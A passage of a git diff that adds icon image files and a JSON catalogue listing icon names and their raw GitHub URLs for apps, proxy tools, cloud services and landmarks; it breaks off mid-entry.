b/icons/erdongchanyo/xqcloud.jpeg differ diff --git a/icons/erdongchanyo/yukimo.jpeg b/icons/erdongchanyo/yukimo.jpeg new file mode 100644 index 00000000..598ccd3c Binary files /dev/null and b/icons/erdongchanyo/yukimo.jpeg differ diff --git a/icons/flag/NG_01.png b/icons/flag/NG_01.png new file mode 100644 index 00000000..f6f57135 Binary files /dev/null and b/icons/flag/NG_01.png differ diff --git a/icons/gif/naisi-01.gif b/icons/gif/naisi-01.gif new file mode 100644 index 00000000..6f5b030f Binary files /dev/null and b/icons/gif/naisi-01.gif differ diff --git a/icons/group/GetSomeCats.png b/icons/group/GetSomeCats.png new file mode 100644 index 00000000..1eb9a20a Binary files /dev/null and b/icons/group/GetSomeCats.png differ diff --git a/icons/group/GetSomeFries.png b/icons/group/GetSomeFries.png new file mode 100644 index 00000000..c1d5f91f Binary files /dev/null and b/icons/group/GetSomeFries.png differ diff --git a/icons/group/iBeta.png b/icons/group/iBeta.png new file mode 100644 index 00000000..50a42f80 Binary files /dev/null and b/icons/group/iBeta.png differ diff --git a/icons/icons-all.json b/icons/icons-all.json new file mode 100644 index 00000000..23eafc46 --- /dev/null +++ b/icons/icons-all.json @@ -0,0 +1,6354 @@ +{ + "name": "fmz200の图标库", + "description": "收集一些自己常用的图标,尺寸为108px或144px,数量约1587个,更新日期:2025-06-05 15:00:00", + "icons": [ + { + "name": "fmz200", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/fmz200-01.png" + }, + { + "name": "fmz200", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/fmz200-02.png" + }, + { + "name": "fmz200", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/fmz200-03.png" + }, + { + "name": "fmz200", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/fmz200-04.png" + }, + { + "name": "brd", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/brd.png" + }, + { + "name": "EFCloud", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/EFCloud.png" + }, + { + "name": "YiYuan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/YiYuan.png" + }, + { + "name": "bigbus", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/bigbus.png" + }, + { + "name": "Bigbus-02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/Bigbus-02.png" + }, + { + "name": "efc", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/efc.png" + }, + { + "name": "EdNovas", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/airport/EdNovas.png" + }, + { + "name": "1Password", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/1Password.png" + }, + { + "name": "AdblockPlus", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AdblockPlus.png" + }, + { + "name": "AdGuard", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AdGuard.png" + }, + { + "name": "AdGuard", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AdGuard_01.png" + }, + { + "name": "AdGuard", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AdGuard_02.png" + }, + { + "name": "Ads", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Ads.png" + }, + { + "name": "AliYunDrive", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AliYunDrive.png" + }, + { + "name": "Apple", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple.png" + }, + { + "name": "Apple_AppleStore", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_AppleStore.png" + }, + { + "name": "Apple_Arcade", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Arcade.png" + }, + { + "name": "Apple_Books", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Books.png" + }, + { + "name": "Apple_Classic", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Classic.png" + }, + { + "name": "Apple_FaceTime", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_FaceTime.png" + }, + { + "name": "Apple_GameCenter", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_GameCenter.png" + }, + { + "name": "Apple_Home", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Home.png" + }, + { + "name": "Apple_iCloud", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_iCloud.png" + }, + { + "name": "Apple_iTunesStore", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_iTunesStore.png" + }, + { + "name": "Apple_Mail", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Mail.png" + }, + { + "name": "Apple_Messages", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Messages.png" + }, + { + "name": "Apple_Original", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Original.png" + }, + { + "name": "Apple_Safari", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Safari.png" + }, + { + "name": "Apple_SpringLoaded", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_SpringLoaded.png" + }, + { + "name": "Apple_Wallet", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Wallet.png" + }, + { + "name": "Apple_Weather", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Apple_Weather.png" + }, + { + "name": "AppleMusic", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AppleMusic.png" + }, + { + "name": "AppleNews", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AppleNews.png" + }, + { + "name": "Aws", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Aws.png" + }, + { + "name": "Azure", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Azure.png" + }, + { + "name": "Baidu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Baidu.png" + }, + { + "name": "BetaHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BetaHub.png" + }, + { + "name": "BigBen", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BigBen.png" + }, + { + "name": "BiliBili", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BiliBili.png" + }, + { + "name": "BiliBili_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BiliBili_01.png" + }, + { + "name": "BiliBiliTV", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BiliBiliTV.png" + }, + { + "name": "BlinkLoad", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BlinkLoad.png" + }, + { + "name": "BlinkLoad_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BlinkLoad_01.png" + }, + { + "name": "BoxJS", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BoxJS.png" + }, + { + "name": "BrandenburgGate", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/BrandenburgGate.png" + }, + { + "name": "cainiao", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/cainiao.png" + }, + { + "name": "CaiYun", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/CaiYun.png" + }, + { + "name": "Category_Balloon", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Balloon.png" + }, + { + "name": "Category_Bike", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Bike.png" + }, + { + "name": "Category_Book", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Book.png" + }, + { + "name": "Category_Briefcase", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Briefcase.png" + }, + { + "name": "Category_Calculator", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Calculator.png" + }, + { + "name": "Category_Catalog", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Catalog.png" + }, + { + "name": "Category_Food", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Food.png" + }, + { + "name": "Category_Globe", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Globe.png" + }, + { + "name": "Category_Lifestyle", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Lifestyle.png" + }, + { + "name": "Category_Magazine", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Magazine.png" + }, + { + "name": "Category_Medical", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Medical.png" + }, + { + "name": "Category_Music", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Music.png" + }, + { + "name": "Category_Navigation", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Navigation.png" + }, + { + "name": "Category_Networking", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Networking.png" + }, + { + "name": "Category_News", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_News.png" + }, + { + "name": "Category_Photo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Photo.png" + }, + { + "name": "Category_Pig", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Pig.png" + }, + { + "name": "Category_Polygon", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Polygon.png" + }, + { + "name": "Category_Popcorn", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Popcorn.png" + }, + { + "name": "Category_Productivity", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Productivity.png" + }, + { + "name": "Category_Research", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Research.png" + }, + { + "name": "Category_Shopping", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Shopping.png" + }, + { + "name": "Category_Sports", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Sports.png" + }, + { + "name": "Category_Travel", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Travel.png" + }, + { + "name": "Category_Weather", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Category_Weather.png" + }, + { + "name": "ChiangKai-shekMemorialHall", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ChiangKai-shekMemorialHall.png" + }, + { + "name": "ChristTheRedeemer", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ChristTheRedeemer.png" + }, + { + "name": "Cisco", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Cisco.png" + }, + { + "name": "Claude", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Claude_01.png" + }, + { + "name": "Claude", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Claude_02.png" + }, + { + "name": "Cloudflare", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Cloudflare.png" + }, + { + "name": "Cloudflare", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/CloudflareWARP.png" + }, + { + "name": "CNTower", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/CNTower.png" + }, + { + "name": "Colosseum", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Colosseum.png" + }, + { + "name": "达乐美披萨", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/dalemeipisa.png" + }, + { + "name": "DeepSeek", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/DeepSeek.png" + }, + { + "name": "DegYax_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/DegYax_01.png" + }, + { + "name": "DegYax_02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/DegYax_02.png" + }, + { + "name": "DegYax_03", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/DegYax_03.png" + }, + { + "name": "DegYax_04", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/DegYax_04.png" + }, + { + "name": "didi", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/didi.png" + }, + { + "name": "Discord", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Discord.png" + }, + { + "name": "DisneyPlus", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/DisneyPlus.png" + }, + { + "name": "Dots", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Dots.png" + }, + { + "name": "douyu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/douyu.png" + }, + { + "name": "Download", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Download.png" + }, + { + "name": "EiffelTower", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/EiffelTower.png" + }, + { + "name": "FallBack", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/FallBack.png" + }, + { + "name": "FastCloud", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/FastCloud.png" + }, + { + "name": "Feizhu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Feizhu.png" + }, + { + "name": "FileBall", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/FileBall.png" + }, + { + "name": "FishChips", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/FishChips.png" + }, + { + "name": "FishChips_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/FishChips_01.png" + }, + { + "name": "FishChips_02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/FishChips_02.png" + }, + { + "name": "FishChips_03", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/FishChips_03.png" + }, + { + "name": "FishPort", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/FishPort.png" + }, + { + "name": "flyert 飞客", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/flyert.png" + }, + { + "name": "GaodeMap", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/GaodeMap.jpg" + }, + { + "name": "Gcp", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Gcp.png" + }, + { + "name": "GiffGaff", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/GiffGaff.jpeg" + }, + { + "name": "Github", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_00.png" + }, + { + "name": "Github", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_01.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_02.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_03.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_04.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_05.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_06.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_07.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_08.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_09.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_10.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_11.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_12.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_13.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_14.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_15.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_16.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_17.png" + }, + { + "name": "GitHub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/github_18.png" + }, + { + "name": "GlaDos", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/GlaDos.png" + }, + { + "name": "Google", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Google.png" + }, + { + "name": "GoogleBard", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/GoogleBard.png" + }, + { + "name": "HeartRate", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/HeartRate.png" + }, + { + "name": "Hulu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Hulu.png" + }, + { + "name": "infiniPort", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/infiniPort.png" + }, + { + "name": "ipInfo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ipInfo.png" + }, + { + "name": "iqZone", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/iqZone.png" + }, + { + "name": "iRingo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/iRingo.png" + }, + { + "name": "jingdong", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/jd.png" + }, + { + "name": "JingFuGong", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/JingFuGong.png" + }, + { + "name": "KakaoTalk", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/KakaoTalk.png" + }, + { + "name": "kuaishou", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/kuaishou.png" + }, + { + "name": "LastPass", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/LastPass.png" + }, + { + "name": "LeaningTowerOfPisa", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/LeaningTowerOfPisa.png" + }, + { + "name": "Lianhezaobao", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Lianhezaobao.jpeg" + }, + { + "name": "Line", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Line_01.png" + }, + { + "name": "Line", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Line_02.png" + }, + { + "name": "Line", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Line_03.png" + }, + { + "name": "Line", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Line_04.png" + }, + { + "name": "LoadBalance", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/LoadBalance.png" + }, + { + "name": "LondonEye", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/LondonEye.png" + }, + { + "name": "Loon", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon.png" + }, + { + "name": "Loon_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_01.png" + }, + { + "name": "Loon_02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_02.png" + }, + { + "name": "Loon_03", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_03.png" + }, + { + "name": "Loon_04", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_04.png" + }, + { + "name": "Loon_05", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_05.png" + }, + { + "name": "Loon_06", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_06.png" + }, + { + "name": "Loon_07", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_07.png" + }, + { + "name": "Loon_08", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_08.png" + }, + { + "name": "Loon_09", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_09.png" + }, + { + "name": "Loon_10", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_10.png" + }, + { + "name": "Loon_11", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_11.png" + }, + { + "name": "Loon_12", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_12.png" + }, + { + "name": "Loon_13", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_13.png" + }, + { + "name": "Loon_16", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_16.png" + }, + { + "name": "Loon_18", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_18.png" + }, + { + "name": "Loon_19", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_19.png" + }, + { + "name": "Loon_20", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_20.png" + }, + { + "name": "Loon_21", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_21.png" + }, + { + "name": "Loon_22", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_22.png" + }, + { + "name": "Loon_23", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_23.png" + }, + { + "name": "Loon_24", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_24.png" + }, + { + "name": "Loon_25", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_25.png" + }, + { + "name": "Loon_26", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_26.png" + }, + { + "name": "Loon_27", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_27.png" + }, + { + "name": "Loon_28", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_28.png" + }, + { + "name": "Loon_29", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Loon_29.png" + }, + { + "name": "macat", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Macat.png" + }, + { + "name": "meituan", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/meituan.png" + }, + { + "name": "meituxiuxiu", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/meituxiuxiu.png" + }, + { + "name": "Merlion", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Merlion.png" + }, + { + "name": "Message", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Message.png" + }, + { + "name": "meta", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/meta.png" + }, + { + "name": "Microsoft", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Microsoft.png" + }, + { + "name": "Movist", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Movist.png" + }, + { + "name": "mixuebingcheng", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/mxbc.png" + }, + { + "name": "NationalMonument", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/NationalMonument.png" + }, + { + "name": "netflix", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/netflix.png" + }, + { + "name": "ObeliscoDeBuenosAires", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ObeliscoDeBuenosAires.png" + }, + { + "name": "Office", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Office.png" + }, + { + "name": "oil", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/oil.png" + }, + { + "name": "OpenAI", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/OpenAI.png" + }, + { + "name": "OpenAI_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/OpenAI_01.png" + }, + { + "name": "oracle", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/oracle.png" + }, + { + "name": "PetronasTowers", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/PetronasTowers.png" + }, + { + "name": "pinduoduo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/pinduoduo.png" + }, + { + "name": "PlayStation", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/PlayStation.png" + }, + { + "name": "PrimeVideo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/PrimeVideo.png" + }, + { + "name": "ql", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ql.png" + }, + { + "name": "ql_logo", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/ql_logo.png" + }, + { + "name": "QQMusic QQ音乐", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/QQMusic.png" + }, + { + "name": "QQMusic QQ音乐", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/QQMusic_01.png" + }, + { + "name": "QuarkDrive", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/QuarkDrive.png" + }, + { + "name": "relay", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/relay.png" + }, + { + "name": "Riot", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Riot.png" + }, + { + "name": "RiotGames", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/RiotGames.png" + }, + { + "name": "RiotGames", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/RiotGames_02.png" + }, + { + "name": "RuinsOfSaintPauls", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/RuinsOfSaintPauls.png" + }, + { + "name": "SaintBasilsCathedral", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/SaintBasilsCathedral.png" + }, + { + "name": "Script-Hub", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Script-Hub.png" + }, + { + "name": "select", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/select.png" + }, + { + "name": "Sensei", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Sensei.png" + }, + { + "name": "shadowrocket", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/shadowrocket.png" + }, + { + "name": "shadowrocket-01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/shadowrocket-01.png" + }, + { + "name": "Surge", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Surge.png" + }, + { + "name": "Surge_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Surge_01.png" + }, + { + "name": "Stash", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Stash.png" + }, + { + "name": "Stash_01", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Stash_01.png" + }, + { + "name": "Stash_02", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Stash_02.png" + }, + { + "name": "StatueOfLiberty", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/StatueOfLiberty.png" + }, + { + "name": "StoneHenge", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/StoneHenge.png" + }, + { + "name": "SubStore", + "url": "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/SubStore.png" + }, + { + "name": "SubStore-01", + "url": 